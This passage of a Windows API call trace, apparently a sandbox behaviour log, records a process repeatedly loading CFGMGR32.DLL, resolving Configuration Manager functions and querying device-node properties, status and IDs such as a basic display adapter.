0x7ffb1ced9760 [0194.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.561] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.561] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.561] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.561] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.561] malloc (_Size=0x18) returned 0x20abc281f60 [0194.561] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0194.562] malloc (_Size=0x5a) returned 0x20abc280450 [0194.562] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc280450, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc280450, pulLength=0x2dc22fd3f8) returned 0x0 [0194.562] free (_Block=0x20abc280450) [0194.562] malloc (_Size=0x48) returned 0x20abc27cb20 [0194.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2fbab14d, dwHighDateTime=0x1d9eb0c)) [0194.563] SetEvent (hEvent=0x248) returned 1 [0194.566] malloc (_Size=0x18) returned 0x20abc281a00 [0194.566] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0194.566] free (_Block=0x20abc281a00) [0194.566] malloc (_Size=0x18) returned 0x20abc281dc0 [0194.566] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0194.566] free (_Block=0x20abc281dc0) [0194.566] malloc (_Size=0x18) returned 0x20abc2819a0 [0194.566] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0194.566] free (_Block=0x20abc2819a0) [0194.566] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c470 [0194.566] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0194.566] SafeArrayGetLBound (in: psa=0x20abba80110, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0194.566] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0194.566] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0194.566] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0194.566] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0194.567] SafeArrayGetElemsize (psa=0x20abba80110) returned 0x8 [0194.567] SafeArrayGetElement (in: psa=0x20abba80110, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0194.567] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ad0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0194.567] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ad8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0194.567] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ae0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0194.568] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0194.568] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c470) returned 1 [0194.569] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.569] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.569] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.569] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.573] malloc (_Size=0x18) returned 0x20abc281960 [0194.573] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0194.573] malloc (_Size=0x48) returned 0x20abc27cb20 [0194.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2fbcf4b3, dwHighDateTime=0x1d9eb0c)) [0194.573] SetEvent (hEvent=0x248) returned 1 [0194.646] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.646] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.647] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.647] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.647] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.647] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.647] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.648] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.648] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.648] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.648] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.648] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.648] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.648] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.648] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.649] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.649] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.649] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.649] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.649] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.649] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.649] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.650] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.650] malloc (_Size=0x18) returned 0x20abc281e60 [0194.650] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.754] malloc (_Size=0x48) returned 0x20abc27cb20 [0194.754] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2fd99183, dwHighDateTime=0x1d9eb0c)) [0194.754] SetEvent (hEvent=0x248) returned 1 [0194.755] SetEvent (hEvent=0x248) returned 1 [0194.756] free (_Block=0x20abc27cb20) [0194.756] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.757] malloc (_Size=0x48) returned 0x20abc27cb20 [0194.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2fd99183, dwHighDateTime=0x1d9eb0c)) [0194.757] SetEvent (hEvent=0x248) returned 1 [0194.758] SetEvent (hEvent=0x248) returned 1 [0194.759] free (_Block=0x20abc27cb20) [0194.759] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.759] malloc (_Size=0x48) returned 0x20abc27cb20 [0194.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2fd99183, dwHighDateTime=0x1d9eb0c)) [0194.760] SetEvent (hEvent=0x248) returned 1 [0194.761] SetEvent (hEvent=0x248) returned 1 [0194.761] free (_Block=0x20abc27cb20) [0194.761] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.762] malloc (_Size=0x48) returned 0x20abc27cb20 [0194.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2fd99183, dwHighDateTime=0x1d9eb0c)) [0194.762] SetEvent (hEvent=0x248) returned 1 [0194.765] SetEvent (hEvent=0x248) returned 1 [0194.766] free (_Block=0x20abc27cb20) [0194.766] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.770] malloc (_Size=0x48) returned 0x20abc2a8a50 [0194.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2fdc8a6d, dwHighDateTime=0x1d9eb0c)) [0194.771] SetEvent (hEvent=0x248) returned 1 [0194.772] SetEvent (hEvent=0x248) returned 1 [0194.772] free (_Block=0x20abc2a8a50) [0194.772] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x10, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0194.773] malloc (_Size=0x48) returned 0x20abc2a8460 [0194.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x2fdc8a6d, dwHighDateTime=0x1d9eb0c)) [0194.773] SetEvent (hEvent=0x248) returned 1 [0194.775] SetEvent (hEvent=0x248) returned 1 [0194.776] free (_Block=0x20abc2a8460) [0194.776] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x10, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0194.777] malloc (_Size=0x48) returned 0x20abc2a86e0 [0194.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x2fdc8a6d, dwHighDateTime=0x1d9eb0c)) [0194.777] SetEvent (hEvent=0x248) returned 1 [0194.778] SetEvent (hEvent=0x248) returned 1 [0194.779] free (_Block=0x20abc2a86e0) [0194.779] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0194.779] malloc (_Size=0x48) returned 0x20abc2a85f0 [0194.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2fdc8a6d, dwHighDateTime=0x1d9eb0c)) [0194.779] SetEvent (hEvent=0x248) returned 1 [0194.861] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.861] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.864] malloc (_Size=0x18) returned 0x20abc281ba0 [0194.864] CM_Get_Device_IDA (in: dnDevInst=0x11, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\BASICDISPLAY\\0000") returned 0x0 [0194.865] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.865] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x2fea41f3, dwHighDateTime=0x1d9eb0c)) [0194.865] SetEvent (hEvent=0x248) returned 1 [0194.868] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.868] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.871] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.871] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.871] malloc (_Size=0x18) returned 0x20abc282080 [0194.871] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0194.871] malloc (_Size=0x26) returned 0x20abc2a9c10 [0194.871] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9c10, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9c10, pulLength=0x2dc22fd3f8) returned 0x0 [0194.872] free (_Block=0x20abc2a9c10) [0194.872] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2fea41f3, dwHighDateTime=0x1d9eb0c)) [0194.872] SetEvent (hEvent=0x248) returned 1 [0194.874] malloc (_Size=0x18) returned 0x20abc282000 [0194.874] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0194.874] free (_Block=0x20abc282000) [0194.874] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bd70 [0194.875] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0194.875] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0194.875] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0194.875] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0194.875] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0194.875] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0194.875] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0194.875] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0194.875] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4022a0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0194.876] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0194.877] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bd70) returned 1 [0194.877] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.877] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.879] GetProcAddress 